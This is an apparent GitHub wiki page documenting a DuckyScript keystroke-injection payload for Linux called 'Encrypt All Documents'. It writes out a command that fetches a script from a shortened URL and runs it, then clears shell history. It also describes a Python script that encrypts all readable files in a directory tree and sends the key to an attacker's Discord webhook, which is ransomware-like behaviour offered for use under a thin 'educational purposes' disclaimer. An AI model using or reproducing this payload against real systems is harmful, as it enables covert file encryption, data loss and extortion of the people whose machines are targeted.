Encrypt All Documents Linux - aleff-github/my-flipper-shits GitHub Wiki

DuckyScript Documentation


The "Encrypt All Documents" DuckyScript payload is designed to encrypt all documents on a Linux operating system. This payload is intended to be used by advanced users who have a clear understanding of what the payload does.


  • Title: Encrypt All Documents
  • Author: Aleff
  • Version: 1.0
  • Category: Execution
  • Target: Linux


To use this payload, the following requirements must be met:

  • Internet Connection
  • Discord Webhook


Before using this payload, it is important to fully understand what it does. Once you are ready to use it, follow these steps:

  1. Copy and paste the code into a DuckyScript interpreter.
  2. Connect the Rubber Ducky to the target computer.
  3. Run the payload.

The payload will run the following commands:

  • curl bit.ly/EncryptAllDocuments > script.py - downloads the script from the specified URL and saves it to a file called "script.py".
  • python3 script.py; history -c; exit; - executes the downloaded script and clears the command history.

Note that the DELAY commands are included to allow time for each command to be executed before the next one is executed. The delay times may need to be adjusted depending on the speed of the target computer and the reliability of the internet connection.


This payload is intended for educational purposes only. The author and OpenAI are not responsible for any damages or illegal use of this payload. Use at your own risk.

Python Documentation


The "Encrypt All Documents" script is designed to encrypt all documents in a specified folder on a Linux operating system. The script uses the Fernet module from the cryptography library to encrypt the files using a randomly generated key. The key is then sent to a specified Discord webhook URL.

Libraries Used

  • cryptography.fernet: used for encrypting the files.
  • os: used for navigating and accessing the file system.
  • requests: used for sending HTTP requests to the Discord webhook URL.
  • subprocess: used for retrieving the current user's username.



This function takes in two arguments: the path to the directory to be encrypted and a Fernet object used for encryption. It recursively navigates through the directory and encrypts all readable files using the provided Fernet object.


This function takes in three arguments: the username of the current user, the encryption key, and the Discord webhook URL. It creates a message containing the key and sends it to the specified Discord webhook URL.


  • KEY: a randomly generated key used for encryption.
  • FERNET: a Fernet object used for encryption.
  • USERNAME: the username of the current user, retrieved using the subprocess module.
  • INITIAL_PATH: the path to the initial directory to be encrypted.
  • WEBHOOK_URL: the Discord webhook URL to which the key will be sent.


Before running the script, the user must provide a valid Discord webhook URL in the WEBHOOK_URL variable. Once the URL has been provided, the script can be executed in a Python environment.

The script will perform the following actions:

  1. Generate a random key using the Fernet module.
  2. Encrypt all readable files in the specified directory and its subdirectories using the generated key.
  3. Send the key to the specified Discord webhook URL.

Note that the script is designed to run on a Linux operating system, and may need to be modified for use on other operating systems.